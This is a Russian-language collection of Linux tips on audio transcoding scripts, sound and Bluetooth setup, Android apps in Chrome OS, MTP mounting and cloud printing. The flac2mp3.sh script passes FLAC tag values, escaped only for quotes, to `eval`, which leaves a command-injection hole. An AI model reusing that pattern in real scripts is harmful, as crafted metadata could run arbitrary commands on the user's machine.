       cuetag sample.cue split-track*.flac
    
    Дополнение: при кодировании исходного файла в формате Monkey's Audio, кодек
    можно загрузить из репозитория http://morgoth.free.fr/ubports/
    
    В /etc/apt/sources.list добавим:
    
        deb http://morgoth.free.fr/ubuntu jaunty-backports main
    
    Устанавливаем пакет monkeys-audio:
        wget -O - http://morgoth.free.fr/files/morgoth-signkey.gpg.asc | sudo apt-key add - 
        sudo apt-get update
        sudo apt-get install monkeys-audio
    
    
    Для разбиение большого MP3 файла на треки можно использовать утилиту mp3splt:
    
       mp3splt -c big_file.cue big_file.mp3
    
     
    ----* Рекурсивное перекодирование FLAC-файлов в MP3 с сохранением ID3 тегов (доп. ссылка 1)   Автор: Александр Симаков  [комментарии]
     
    Для того чтобы с комфортом перекодировать музыку в формате
    FLAC в MP3 вам понадобятся:
    
    * MP3-кодер LAME: http://lame.sourceforge.net/
    * FLAC-кодер: http://flac.sourceforge.net/
    * Скрипт flac2mp3.sh 
    
    Отличительные особенности скрипта flac2mp3.sh:
    
    * Рекурсивная обработка нескольких альбомов сразу
    * Создание ID3 тегов на основе мета-информации во FLAC-файлах
    * Сохранение mp3-файлов в отдельной директории
    
    Использование:
    
       flac2mp3.sh <input_dir> <output_dir> [lame_opts]
    
    Пример:
    
       flac2mp3.sh /tmp/my/flac/albums /tmp/my/mp3 "-b 320 -h"
    
    Вот как могут выглядеть директории input_dir и output_dir после вызова скрипта:
    
    tree /tmp/my/flac/albums
    
       /tmp/my/flac/albums
       `-- album1
       |-- track1.flac
       `-- track2.flac
       
       1 directory, 2 files
    
    tree /tmp/my/mp3
    
       /tmp/my/mp3
       `-- albums
       `-- album1
       |-- track1.mp3
       `-- track2.mp3
    
    2 directories, 2 files
    
    Все необходимые директории при этом создаются скриптом автоматически.
    
    Текст скрипта:
    
       #!/bin/bash
       # flac2mp3.sh --- скрипт для конвертации FLAC файлов в MP3
       # Александр Симаков, <xdr (тчк) box на Google Mail>
       # http://alexander-simakov.blogspot.com/
       #
    
       # Какие программы где находятся
       LAME=lame
       FLAC=flac
       METAFLAC=metaflac
    
       # Настройки LAME по-умолчанию
       DEFAULT_LAME_OPTS="-b 256 -h"
    
       # Эта функция извлекает из FLAC-файла мета-информацию
       # и формирует соответствующую последовательность
       # опций для LAME.
       function get_id3_opts()
       {
        flac_file="$1"
    
        $METAFLAC --export-tags-to - "$flac_file" | while read -d $'\n' tag; do
            tag_name=$(echo "$tag" | awk -F= '{ print $1 }')
            tag_value=$(echo "$tag" | awk -F= '{ print $2 }' | sed 's/"/\\"/g')
    
            case "$tag_name" in
                TITLE)
                    echo -n "--tt \"$tag_value\" "
                    ;;
                ARTIST)
                    echo -n "--ta \"$tag_value\" "
                    ;;
                ALBUM)
                    echo -n "--tl \"$tag_value\" "
                    ;;
                GENRE)
                    echo -n "--tg \"$tag_value\" "
                    ;;
                DATE)
                    echo -n "--ty \"$tag_value\" "
                    ;;
                TRACKNUMBER)
                    echo -n "--tn \"$tag_value\" "
                    ;;
            esac
        done
       }
    
       # Эта функция формирует имя mp3-файла и создает
       # необходимые директории.
       function make_mp3_file_name()
       {
        input_dir=$1
        output_dir=$2
        flac_file=$3
    
        album_dir=$(basename "$input_dir")
        mp3_file=${flac_file/%flac/mp3}
        mp3_file=${mp3_file/#${input_dir}/${output_dir}/${album_dir}/}
        mp3_dir=$(dirname "$mp3_file")
        $(mkdir -p "$mp3_dir")
    
        echo "$mp3_file"
       }
    
       # Эта функция рекурсивно конвертирует FLAC-файлы из
       # директории input_dir в директорию output_dir.
       # Директория output_dir создается автоматически.
       function main()
       {
        input_dir=$1
        output_dir=$2
        lame_opts=$3
    
        if [[ -z "$input_dir" || -z "$output_dir" ]]; then
            echo "Usage: $0 <input_dir> <output_dir> [lame_opts]"
            echo "Example: $0 /tmp/my/flac/albums /tmp/my/mp3 \"-b 320 -h\""
            exit 1
        fi
    
        if [[ -z "$lame_opts" ]]; then
            lame_opts=$DEFAULT_LAME_OPTS
        fi
    
        OIFS=$IFS; IFS=$'\n'
    
        # Рекурсивно обрабатываем все FLAC-файлы
        for flac_file in $(find "$input_dir" -name "*.flac" | sort); do
            flac_base=`basename "$flac_file"`
            echo "Processing '$flac_base'..."
    
            id3_opts=$(get_id3_opts "$flac_file")
            mp3_file=$(make_mp3_file_name "$input_dir" "$output_dir" "$flac_file")
            cmd="$FLAC -sdc \"$flac_file\" | $LAME --quiet $lame_opts $id3_opts - \"$mp3_file\""
    
            eval $cmd
        done
       }
    
       main "$@"
    
     
    ----* Скрипт для перекодирования коллекции музыкальных файлов   Автор: redstorm  [комментарии]
     
    Понадобилось мне однажды перекодировать некоторое количество музыкальных
    композиций из формата FLAC/APE/WAV в MP3.
    
    encode_list.txt - содержит полные пути до директорий с исходными файлами (путь
    не должен оканчиватся на "\")
    
    В системе должны быть установлены утилиты flac, mac, lame. 
    
    Приветствуется улучшенная версия скрипта. Хотя лично мне он понадобился всего один раз... 
    но после небольших изменений он может стать еще полезнее, в некоторых случаях.
    
    
    #!/bin/bash
    
    # шаманское заклинание
    IFS="
    ";
    # конец шаманского заклинания
    
    # чего и куда класть 
    ENCODE_PATH=`pwd`;
    ENCODE_LIST="encode_list.txt"
    
    for i in `cat $ENCODE_LIST`; do
        FLAC_count=`find "$i" -name "*.flac" | wc -l`
        APE_count=`find "$i" -name "*.ape" | wc -l`
        WAV_count=`find "$i" -name "*.wav" | wc -l`
        echo "dir = '$i'";
        if [ $WAV_count -lt $FLAC_count ] && [ $APE_count -lt $FLAC_count ]
        then
    	echo "FLAC detected";
    	for j in "$i"/*.flac; do
    	    out_name=`basename ${j/.flac/.mp3}`;
    	    out_dir=`basename $i`
    	    out_full="$ENCODE_PATH/$out_dir/$out_name";
    	    mkdir "$ENCODE_PATH/$out_dir";
    	    echo `date +"%T %y/%m/%d"` encoding "'"$out_name"'" >> $ENCODE_PATH/$out_dir/encode.log;
         flac -d "$j" -o - | lame -ms -v -V0 -h - "$out_full"; #>>
    $ENCODE_PATH/$out_dir/encode.log 2>> $ENCODE_PATH/$out_dir/encode.log;
    	done;
        elif [ $FLAC_count -lt $APE_count ] && [ $WAV_count -lt $APE_count ]
        then
    	echo "APE detected";
    	for j in "$i"/*.ape; do
    	    out_name=`basename ${j/.ape/.mp3}`;
    	    out_dir=`basename $i`
    	    out_full="$ENCODE_PATH/$out_dir/$out_name";
    	    mkdir "$ENCODE_PATH/$out_dir";
    	    echo `date +"%T %y/%m/%d"` encoding "'"$out_name"'" >> $ENCODE_PATH/$out_dir/encode.log;
         mac "$j" - -d | lame -ms -v -V0 -h - "$out_full"; #>>
    $ENCODE_PATH/$out_dir/encode.log 2>> $ENCODE_PATH/$out_dir/encode.log;
    	done;
        else [ $FLAC_count -le $WAV_count ] && [ $APE_count -le $WAV_count ]
    	echo "WAV detected";
    	for j in "$i"/*.wav; do
    	    out_name=`basename ${j/.wav/.mp3}`;
    	    out_dir=`basename $i`
    	    out_full="$ENCODE_PATH/$out_dir/$out_name";
    	    mkdir "$ENCODE_PATH/$out_dir";
    	    echo `date +"%T %y/%m/%d"` encoding "'"$out_name"'" >> $ENCODE_PATH/$out_dir/encode.log;
         lame -ms -v -V0 -h "$j" "$out_full"; #>> $ENCODE_PATH/$out_dir/encode.log
    2>> $ENCODE_PATH/$out_dir/encode.log;
    	done;
        fi;
    done
    
    
    
    Другой вариант
    
    
    
    #!/bin/bash
    # Copyright (C) 2007-2008 Vladimir V. Kamarzin <vvk@altlinux.org>
    #
    # Split one big audiofile (cdimage) to separate tracks
    #
    # This file is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; either version 2 of the License, or
    # (at your option) any later version.
    #
    # This program is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    # GNU General Public License for more details.
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
    
    #. shell-error
    
    renice 19 -p $$ > /dev/null 2>&1 ||:
    
    while read cuefile
    do
           # get cuesheet filename
           cue="${cuefile##*/}"
    
           # object (filename without extension)
           obj=${cue%.cue}
    
           # relative path to object''s directory
           objdir="${cuefile%/*}"
    
           pushd "$objdir"
    
           # First, find all files that need decoding before process and decode it
           if [ -f "$obj".mp3 ]; then
                   lame --decode "$obj".mp3 "$obj".wav || fatal "cannot decode $obj.mp3, exiting"
    
           elif [ -f "$obj".ogg ]; then
                   oggdec "$obj".ogg || fatal "cannot decode $obj.ogg, exiting"
           fi
    
           # Next, split one-big-file. Use flac for loseless and ogg for lossy
           if [ -f "$obj".ape ]; then
                   cuebreakpoints "$cue" | shnsplit -o ''flac flac --best -o %f -'' -t %n "$obj".ape \\
                   || fatal "failed to split $obj.ape"
    
           elif [ -f "$obj".flac ]; then
                   cuebreakpoints "$cue" | shnsplit -o ''flac flac --best -o %f -'' -t %n "$obj".flac \\
                   || fatal "failed to split $obj.flac"
    
           elif [ -f "$obj".wav ]; then
                   cuebreakpoints "$cue" | shnsplit -o ''cust ext=ogg oggenc -q 7 -o %f -'' -t %n "$obj".wav \\
                   || fatal "failed to split $obj.wav"
    
           else
                   fatal "$obj file not found, exiting"
           fi
    
           # Recode tags. Assume that russian tags has windows-1251 encoding
           case "$LANG" in
                   ru_RU.KOI8-R) recode_to=koi8-r
                           ;;
                   ru_RU.CP1251) recode_not_needed=1
                           ;;
                   *) recode_to=utf8
           esac
    
           [ "$recode_not_needed" = 1 ] && ln -s "$cue" tmp.cue || recode -f 1251.."$recode_to" < "$cue" > tmp.cue \\
           || fatal "cannot recode cue: $cue"
    
           # Embed tags into tracks, rename tracks
           for (( i=1 ; i <= $(cueprint -d ''%N'' tmp.cue) ; ++i ))
           do
             NN=$(printf ''%02d'' $i)
    
             [ -s "$NN.flac" ] && {
               # Prepare track tags, filter out empty tags, embed the rest
               cueprint -n $i -t \\
               ''ARRANGER=%A\\nCOMPOSER=%C\\nGENRE=%G\\nMESSAGE=%M\\nTRACKNUMBER=%n\\nARTIST=%p\\nTITLE=%t\\nALBUM=%T\\n'' \\
                   tmp.cue | egrep -v ''=$'' | metaflac --import-tags-from=- $NN.flac
               # rename NN.flac to "NN - TrackTitle.flac"
               mv $NN.flac "$NN - $(cueprint -n $i -t %t tmp.cue | sed -e "s,/,,g").flac"
             }
    
             [ -s "$NN.ogg" ] && {
               cueprint -n $i -t \\
               ''ARRANGER=%A\\nCOMPOSER=%C\\nGENRE=%G\\nCOMMENT=%M\\nTRACKNUMBER=%n\\nARTIST=%p\\nTITLE=%t\\nALBUM=%T\\n'' \\
                   tmp.cue | egrep -v ''=$'' > tags.tmp
               vorbiscomment -a -c tags.tmp "$NN.ogg"
               mv $NN.ogg "$NN - $(cueprint -n $i -t %t tmp.cue | sed -e "s,/,,g").ogg"
             }
    
           done
    
          rm -f tmp.cue "$cue" "$obj".{flac,ape,mp3,ogg,wav} tags.tmp
           popd
    
    done < <(find . -type f -iname "*.cue")
    
     
    ----* Запись потокового радио в mp3 файл (доп. ссылка 1)   Автор: linux-ru.blogspot.com  [комментарии]
     
    mplayer http://showtcast.test.ru:8128 -dumpstream -dumpfile recorded_music.mp3 -vc dummy -vo null
    
     
    ----* Подключение Bluetooth гарнитуры в Fedora Core Linux 4 (доп. ссылка 1)   Автор: John G. Moylan  [комментарии]
     
    Устанавливаем поддержку bluetooth (проект Bluez):
        yum install bluez-libs bluez-pin bluez-utils bluez-hcidump bluez-utils-cup
    
    Устанавливаем утилиты звуковой подсистемы ALSA:
        yum install alsa-tools alsa-lib alsa-utils alsa-lib-devel
    
    Устанавливаем automake (понадобится для сборки BTSCO)
       yum install automake
    
    Проверяем на сайте http://bluetooth-alsa.sourceforge.net/ поддерживается ли
    наша гарнитура (Jabra BT200 поддерживается).
    
    Запускам hcitool и смотрим активна ли bluetooth подсистема.
    
    Подключаем гарнитуру и запускаем "hcitool scan", смотрим MAC адрес в результатах вывода.
    Далее, подключаем через:
       hcitool cc MAC
    
    Все должно работать, но на случай проблем, пример некоторый файлов из /etc/bluetooth:
    
    hcid.conf
            options {
               autoinit yes;
               security user;
               pairing multi;
               # PIN helper
               pin_helper /etc/bluetooth/feed-pin.sh;
               # D-Bus PIN helper
               #dbus_pin_helper;
            }
            device {
               name "%h-%d";
               # Local device class
               class 0x120104;
               # Inquiry and Page scan
               iscan enable; pscan enable;
               lm accept;
               lp rswitch,hold,sniff,park;
               # Authentication and Encryption (Security Mode 3)
               auth enable;
               encrypt enable;
            }
    
    rfcomm.conf
         rfcomm0 {
             # Automatically bind the device at startup
             bind no;
    
             # Bluetooth address of the device
             device 11:11:11:11:11:11;
    
             # RFCOMM channel for the connection
             channel 1;
    
             # Description of the connection
             comment "Bluetooth Device
         }
    
    /etc/bluetooth/feed-pin.sh
        #!/bin/sh
        echo "PIN:0000"
    
    
    Установка BTSCO из исходных текстов.
    
    Получаем исходные тексты из CVS:
       cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa log
       cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa co btsco
    
    Собираем утилиты:
       ./bootstrap
       ./configure
       make
       make install
       make maintainer-clean
    
    Собираем модуль ядра:
       cd kernel
       make
       make install
       depmod -e
       make clean
    
    Подгружаем модуль ядра:
       modprobe snd-bt-sco
    
    Подключаемся к гарнитуре:
       btsco -v MAC
    
    Небольшой скрипт для автоматизации запуска skype:
        #!/bin/sh
        modprobe modprobe snd-bt-sco
        btsco MACofHeadset
        skype
    
     
    ----* Решение проблем подергиванием звука в FreeBSD   Автор: Roman Y. Bogdanov  [комментарии]
     
    Решение проблем с "лаганием", "залипанием", "подергиванием" звука для FreeBSD
    5.x при сильных нагрузках на ata систему:
    
    в /boot/loader.conf добавить строку 
    
       hint.pcm.0.buffersize="16384".
    
    Работает не со всеми звуковыми картами. Карточка с MediaForte чипом стала
    играть звук в 4 раза быстрее,
    на SoundBlaster 5.1 live все играет замечательно.
    
     
    ----* Использование нескольких источников звука в FreeBSD (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    Для одновременного воспроизведения звука от разных приложений 
    нужно создать несколько виртуальных звуковых каналов:
    
       sysctl hw.snd.pcm0.vchans=4
       sysctl hw.snd.maxautovchans=4
    
    Если devfs не используется, в приложении нужно обращаться к устройствам /dev/dsp0.N
    , где N -  номер свободного канала.
    
    Для установки громкости звука по умолчанию в FreeBSD 5.3 в /boot/device.hints добавляем:
       hint.pcm.0.vol="100"
    
     
    ----* Как изменить частоту дискретизации звукового файла   [комментарии]
     
    sox -r 22050 in.wav -r 44100 out.wav
    
     
    ----* Запись звука с входа line-in напрямую в mp3   Автор: redstorm  [комментарии]
     
    rec -c 2 -r 44100 -s w -t WAV - | lame -q 9 - linein-out-realtime.mp3
    
    подробнее - man rec и man lame, единственное что надо сказать `-s w` - это 16bit.
    
     
    ----* Как в RedHat 8 или 9 слушать MP3-файлы.   Автор: Antonio  [комментарии]
     
    Проблема: В свежеустановленном редхате (8 или 9 версии) не получается слушать mp3-файлы. 
    XMMS их не играет, хотя в старых дистрибутивах все работало.
    
    Причина: В связи с неуемной жадностью патентодержателей формата MP3 его поддержка 
    (плееры либо их соответствующие компоненты) исключена из дистрибутива.
    
    Решение: Пойти на сайт http://www.xmms.org и скачать нужные плагины для своей версии редхата.
    
     
    ----* Настройка PulseAudio и ALSA для достижения максимального качества звука (доп. ссылка 1)   [комментарии]
     
    Пример настроек PulseAudio и ALSA, обеспечивающих максимальное качество звука.
    
    PulseAudio
    
    ~/.config/pulse/daemon.conf
    
    
       default-sample-format = float32le # по умолчанию s16le
       default-sample-rate = 48000
       alternate-sample-rate = 44100
       default-sample-channels = 2
       default-channel-map = front-left,front-right
       # уменьшение числа и увеличение размера буферов воспроизведения
       default-fragments = 2 # по умолчанию 4
       default-fragment-size-msec = 125 # по умолчанию 25
       resample-method = soxr-vhq # по умолчанию speex-float-1, который меньше нагружает CPU
       enable-lfe-remixing = no
       high-priority = yes
       nice-level = -11
       realtime-scheduling = yes
       realtime-priority = 9 # по умолчанию 5
       rlimit-rtprio = 9
       daemonize = no
    
    В настройках ALSA направляем вывод в PulseAudio-плагин hw, напрямую
    взаимодействующий со звуковым драйвером ядра без промежуточных преобразований,
    что позволяет сократить задержки при выводе звука.
    
    /etc/asound.conf или /etc/alsa/conf.d/99-pulse.conf
    
    
       pcm.!default {
          type plug
          slave.pcm hw
    
          # по умолчанию:
          # type pulse 
          # fallback "sysdefault"
    
       }
    
     
    ----* Вывод звука на переднюю панель в Ubuntu 9.10 для HDA Intel (доп. ссылка 1)   Автор: Waster  [комментарии]
     
    После обновления до Ubuntu до 9.10 перестал работать вывод звука (HDA Intel,
    STAC92xx) на переднюю панель системного блока (Ext Front Jack). Звук у меня
    встроенный, HDA Intel, STAC92xx. Проблема решилась следующим образом:
    
    В файле /etc/modprobe.d/alsa-base.conf меняем
    
       options snd-hda-intel power_save=10 power_save_controller=N
    на
       options snd-hda-intel model=3stack
    
    Перезапускаем ALSA:
    
       sudo alsa force-reload
    
     

       Карманные ПК

    ----* Запуск Android-приложений в окружении Chrome OS или в браузере Chrome (доп. ссылка 1)   [комментарии]
     
    Компания Google начала тестирование функции запуска Android-приложений в
    Chrome OS. В настоящее время доступно лишь несколько Android-программ,
    предлагаемых для использования в Chrome OS. Данное ограничение является
    искусственным, поэтому энтузиасты
    нашли способ обойти ограничение и организовать выполнение разнообразных
    Android-приложений, включая Skype, Pandora, Opera Mini, Flipboard.
    
    Более того, так как Android-окружение формируется в web-браузере с
    использованием технологии Native Client, то имеется возможность организовать
    запуск Android-программ в обычном браузере Сhrome для Linux, Windows или OS X.
    
    
    Chrome OS
    
    Для обхода ограничения в Chrome OS подготовлена утилита, раскрывающая apk-пакет
    любой программы и маскирующая его под одно из официальных тестовых приложений.
    
    Инструкция по установке:
    
    Устанавливаем в Chrome OS любое официальное демонстрационное Android-приложение
    из Chrome Store. Данная операция требуется для установки runtime-компонентов Android.
    
    Протестируем работу Android-приложения для того чтобы убедиться, что Android
    runtime в данной системе работает корректно.
    
    На другом компьютере с Ubuntu установим Node.js и приложение chromeos-apk для
    распаковки apk-пакетов:
    
       sudo add-apt-repository ppa:chris-lea/node.js
       sudo apt-get update
       sudo apt-get install nodejs
       npm install chromeos-apk -g
    
    Загрузим на ПК с Ubuntu интересующий нас apk-пакет и распакуем его при помощи
    утилиты chromeos-apk. Например:
    
       chromeos-apk com.soundcloud.android.apk
    
    или для планшета
    
       chromeos-apk com.soundcloud.android.apk --tablet
    
    В итоге будет создана директория  com.soundcloud.android, которую следует
    перенести на устройство с Chrome OS.
    
    В браузере Chrome OS включаем режим разработчика ("Developer mode") в разделе
    chrome://extensions и загружаем содержимое скопированной директории через
    кнопку  "Load unpacked extension".
    
    После этого установленная программа станет доступна для запуска.
    
    При необходимости установки нескольких программ, для каждой новой программы
    следует изменить значение  "key" в файла manifest.json, в расположенной внутри
    распакованной из apk-пакета директории на одно из значений, применяемых в
    демонстрационных программах.
    
    Дополнение: обойти ограничение по числу установленных программ и избавиться от
    правки ключа можно установив модифицированный runtime - ARChon (инструкция ниже).
    
    Chrome
    
    Загружаем со страницы http://bitbucket.org/vladikoff/archon/downloads
    модифицированный Android Runtime - ARChon. Поддерживается Chrome 37 и более
    новые выпуски.
    
       wget https://bitbucket.org/vladikoff/archon/get/v1.0.zip
       unzip v1.0.zip
    
    Следуя предыдущему описанию устанавливаем утилиту chromeos-apk  и активируем
    режим разработчика в Chrome. Далее через интерфейс chrome://extensions
    загружаем содержимое разархивированной директории нажав кнопку "Load unpacked extension".
    
    Для установки Android-приложения загружаем apk-файл и распаковываем его
    утилитой chromeos-apk  с опцией "--archon":
    
       chromeos-apk com.imdb.mobile.apk --archon
    
    Загружаем программу через  "Load unpacked extension" в chrome://extensions.
    
    Для изменения активного разрешения экрана в файлах gen_main.min.js и
    gen_index.min.js из архива ARChon находим и правим на своё усмотрение строку
     
       tablet: {"long": 1280, "short": 800}
    
    Можно распаковать и поправить настройки пакета вручную, без установки утилиты
    chromeos-apk. Для этого извлекаем из apk-архива директорию _template, сохранив
    её под полным именем приложения, например "com.soundcloud.android". Помещаем
    apk-файл в директорию com.soundcloud.android/vendor/chromium/crx. Изменяем в
    manifest.json ссылку на apk-файл. Там же правим параметры formFactor (phone или
    tablet) и orientation (landscape или portrait). При использовании ARChon
    runtime удаляем из manifest.json параметр "key".
    
     
    ----* Монтирование устройств Android 4 в Ubuntu Linux при помощи go-mtpfs (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Начиная с третьей ветки в платформе Android изменился метод организации
    внешнего доступа к накопителю мобильного устройства. Если раньше устройство
    маскировалось под USB-накопитель, который воспринимался внешними системами как
    обычный USB Flash, то начиная с выпуска Android 3 для доступа к данным
    предлагается использовать разработанный компанией Microsoft протокол MTP
    (Media Transfer Protocol), поддержка которого в большинстве Linux-дистрибутивов
    недоступна из коробки. Причиной перехода на MTP является желание избавиться от
    основного недостатка старой реализации - необходимости размонтирования раздела
    перед его экспортом, из-за чего во время подключения раздела к ПК он становился
    недоступным для мобильного устройства.
    
    Наиболее простым способом обеспечения работы с Android 4 в Linux является
    установка из репозиториев или сборка из исходных текстов GTK-приложения gMTP
    (http://gmtp.sourceforge.net/), которое предоставляет графический интерфейс для
    работы с файлами на устройстве, в том числе даёт возможность перемещать файлы
    между gMTP и файловым менеджером в режиме Drag and Drop. При сборке
    рекомендуется использовать самую свежую версию библиотеки  libmtp
    (http://libmtp.sourceforge.net/), иначе в процессе работы время от времени
    приходится сталкиваться с проблемами. Готовые свежие сборки gMTP для Ubuntu
    можно загрузить из специального PPA-репозитория, а libmtp - здесь.
    
    
    Другим способом является монтирование MTP-устройств в виде дисковых разделов
    при помощи FUSE-модулей mtpfs или mtp-fuse. Следует отметить, что
    работают данные модули с некоторыми устройствами весьма нестабильно и оставляют
    желать лучшего в плане скорости копирования данных. Относительно недавно для
    решения проблем с ранее доступными FUSE-реализациями был создан FUSE-модуль [[https://github.com/hanwen/go-mtpfs
    Go-mtpfs]], из особенностей которого можно отметить необходимость установки для
    сборки компилятора языка программирования Go.
    
    
    Готовые сборки Go-mtpfs отныне доступны через PPA для Ubuntu 13.04, 12.10 и
    12.04. Unstable PPA используется для задействования самой свежей версии
    libmtp. Кроме того, подготовлен специальный апплет для оболочки Unity,
    позволяющий быстро монтировать и отмонтировать MTP-разделы.
    
    Установим Go-mtpfs из PPA:
    
       sudo add-apt-repository ppa:webupd8team/unstable
       sudo apt-get update
       sudo apt-get install go-mtpfs
    
    Установим дополнение для Unity:
    
       sudo apt-get install go-mtpfs-unity
    
    Для монитрования раздела вручную следует использовать команду:
    
       go-mtpfs /media/MyAndroid
    
    Для отмонтирования:
    
       fusermount -u /media/MyAndroid
    
    
    Для самостоятельной сборки go-mtpfs из Git-репозитория можно использовать
    следующую инструкцию, в результате которой будет подготовлен исполняемый файл /tmp/go/bin/go-mtpfs:
    
       sudo apt-get install golang fuse git-core libmtp-dev libfuse-dev
       sudo adduser $USER fuse
       mkdir /tmp/go 
       GOPATH=/tmp/go go get github.com/hanwen/go-mtpfs
      
    
    Кроме того, в состав libmtp входит несколько полезных утилит:
    
    Определение устройства:
    
       mtp-detect
    
    Подсоединение к устройству:
    
       mtp-connect
    
    Манипуляции с контентом на устройстве:
    
       mtp-albumart 
       mtp-getplaylist
       mtp-albums
       mtp-files
       mtp-sendfile
       mtp-folders  
       mtp-newfolder
       mtp-delfile
       mtp-newplaylist
       mtp-getfile
       mtp-playlists    
       mtp-tracks
    
    
       
    
     
    ----* Сборка операционной системы Mozilla Boot to Gecko (B2G) для экспериментов в QEMU (доп. ссылка 1)   [комментарии]
     
    Энтузиастам предлагается поэкспериментировать в эмуляторе QEMU с проектом B2G
    (Boot to Gecko), в рамках которого Mozilla развивает операционную систему,
    загружающуюся сразу в web-браузер. В качестве основы B2G используется ядро
    Linux и низкоуровневые компоненты из платформы Android. Для запуска приложений
    будет задействован web-стек Mozilla. На платформе будут выполняться
    web-приложения, написанные с использованием HTML5-технологий, CSS и JavaScript.
    Расширенные функции приложений, такие как доступ к аппаратному обеспечению и
    телефонии, можно задействовать с использованием Web API, который в
    дальнейшем планируется передать в организацию W3C для формирования единого стандарта.
    
    Инструкция приведена для 64-разрядной сборки Ubuntu 11.10. Для сборки
    желательно наличие 4 Гб ОЗУ и 80 Гб свободного дискового пространства.
    
    Устанавливаем пакеты, необходимые для сборки B2G:
    
       sudo apt-get build-dep firefox
       sudo apt-get install mercurial libasound2-dev libcurl4-openssl-dev libnotify-dev libxt-dev libiw-dev mesa-common-dev autoconf2.13
       sudo apt-get install ia32-libs gcc-multilib g++-multilib bison flex gperf lib32zl-dev lib32ncurses5-dev lib32ncursesw5-dev libidl-dev lib32gomp1 autoconf2.13 ccache libx11-dev lib32readline-gplv2-dev
    
    Клонируем репозиторий B2G:
    
       git clone https://github.com/andreasgal/B2G.git
    
    Для проведения автоматизированных тестов также можно загрузить фреймворк marionette:
    
       git clone https://github.com/jonallengriffin/marionette_client.git
    
    Выполняем сборку:
    
       cd B2G
       make sync
    
    Указывает какой бэкенд для виджетов использовать, в local.mk добавляем параметр WIDGET_BACKEN:
    
       vi local.mk
     
       WIDGET_BACKEND=gonk
    
    Формируем конфигурационные файлы для сборки варианта для QEMU:
    
       make config-qemu
    
    Собираем пользовательский бэкенд gonk и систему:
    
       make gonk
       make
    
    Запускаем B2G в эмуляторе:
    
       ./emu.sh
    
    
    Для сборки B2G для телефона Samsung Galaxy S2 можно использовать инструкцию
    http://developer.mozilla.org/en/Mozilla/Boot_to_Gecko/Building_B2G_for_Samsung_Galaxy_S2 .
     Набор компонентов для построения HTML5-интерфейса для телефонов можно
    загрузить со страницы проекта gaia в github (для сборки достаточно выполнить
    make install-gaia и скопировать на устройства результирующие файлы).
    
     
    ----* Настройка локального принтера для печати через Google Cloud Print (доп. ссылка 1)   [комментарии]
     
    При помощи облачного сервиса Google Cloud Print возможно организовать печать на
    удаленном принтере с мобильного устройства под управлением платформы Android
    или ChromeOS, при этом устройство может находиться где угодно, независимо от
    расположения принтера. Ниже показано как настроить локальный принтер в Linux,
    чтобы на него можно было печатать через Google Cloud Print.
    
    Для обеспечения печати будет использовать прокси-сервер cloudprint,
    позволяющий связать с сервисом Google Cloud Print любой принтер, работающий
    через CUPS. Прокси написан на Python и очень прост в использовании, достаточно
    запустить приложение cloudprint и ввести параметры своего аккаунта в gmail.com,
    после чего настроенный в локальной системе принтер сразу станет доступным для
    печати с телефона или планшета на базе платформы Android. На телефоне для
    отправки на печать удобно использовать приложения "PrinterShare" или "Cloud
    Print", которые можно найти в Android Market. Печать производится путем выбора
    соответствующего сервиса через кнопку "Share".
    
    1. Необходим настроенный для локальной печати принтер.
    
    2. Устанавливаем пакеты, необходимые для работы и загрузки cloudprint (пример для Debian и Ubuntu):
    
       sudo apt-get install git-core python python-cups
    
    3. Загружаем в текущую директорию свежую версию cloudprint из Git-репозитория проекта:
    
        git clone git://github.com/armooo/cloudprint.git
    
    4. Собираем и устанавливаем cloudprint:
    
       cd ~/cloudprint
       python setup.py build
       sudo python setup.py install
    
    Скрипт будет установлен по следующему пути:
       /usr/local/lib/python2.6/dist-packages/cloudprint/cloudprint.py
    
    5. Запускаем прокси для печати через Google Cloud Print:
    
       python /usr/local/lib/python2.6/dist-packages/cloudprint/cloudprint.py
    
    Вводим свой адрес и пароль в Gmail, после чего можно будет печатать на
    принтере, выбранном по умолчанию в CUPS.
    
    6. Управлять параметрами принтера и очередями печати в Google Cloud Print можно
    на странице http://www.google.com/cloudprint/manage.html
    
    7. Вместо реального принтера можно организовать печать в PDF, используя
    CUPS-драйвер cups-pdf, который по умолчанию сохраняет выводимые на печать файлы
    в каталоге PDF в домашней директории текущего пользователя.
    
    Для установки драйвера и подключения принтера можно использовать команды:
    
       sudo apt-get install cups-pdf
       sudo lpadmin -p cups-pdf -v cups-pdf:/ -E -P /usr/share/ppd/cups-pdf/CUPS-PDF.ppd
    
    В системе виртуальный PDF-принтер будет выглядеть как cups-pdf:/
    
     
    ----* Подключение Bluetooth-мыши к смартфону Nokia N900 (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Загружаем на N900 и распаковываем в директорию
    /home/user/N900-BluetoothMouseSupport архив N900-BluetoothMouseSupport.tar.gz.
    Для выполнения нижеизложенных операций у пользователя должен быть root-доступ к
    устройству, для чего необходимо установить пакет rootsh из менеджера
    приложений. Инструкция тестировалась в прошивке PR 1.2.
    
    Для упрощения всех действий в вышеупомянутый архив
    N900-BluetoothMouseSupport.tar.gz включен скрипт install.sh, рассмотрим далее
    какие действия он выполняет.
    
    Копируем библиотеку evdev_drv.so:
    
       sudo gainroot
       cd /usr/lib/xorg/modules/input
       mv evdev_drv.so evdev_drv.so.orig
       cp /home/user/N900-BluetoothMouseSupport/evdev_drv.so .
    
    Добиваемся отображения курсора мыши, копируя недостающие в системе изображения курсоров:
     
       cd /usr/share/icons/default/cursors
       mv transp trans.orig
       cp /home/user/N900-BluetoothMouseSupport/arrow transp
    
    
    
    Внимательно проверяем, что evdev_drv.so успешно скопирован в
    /usr/lib/xorg/modules/input и перезагружаем устройство.
    
    Настраиваем отображение курсора мыши:
    
       apt-get install libxmuu1
       cd /home/user/N900-BluetoothMouseSupport
       ./xsetroot -cursor_name arrow
    
    Чтобы скрыть курсор выполняем:
    
       cd /home/user/N900-BluetoothMouseSupport
       ./xsetroot
    
    Для автоматизации показа/скрытия курсора в архиве можно найти готовые
    приложения 'showmouse'/'hidemouse'.
    
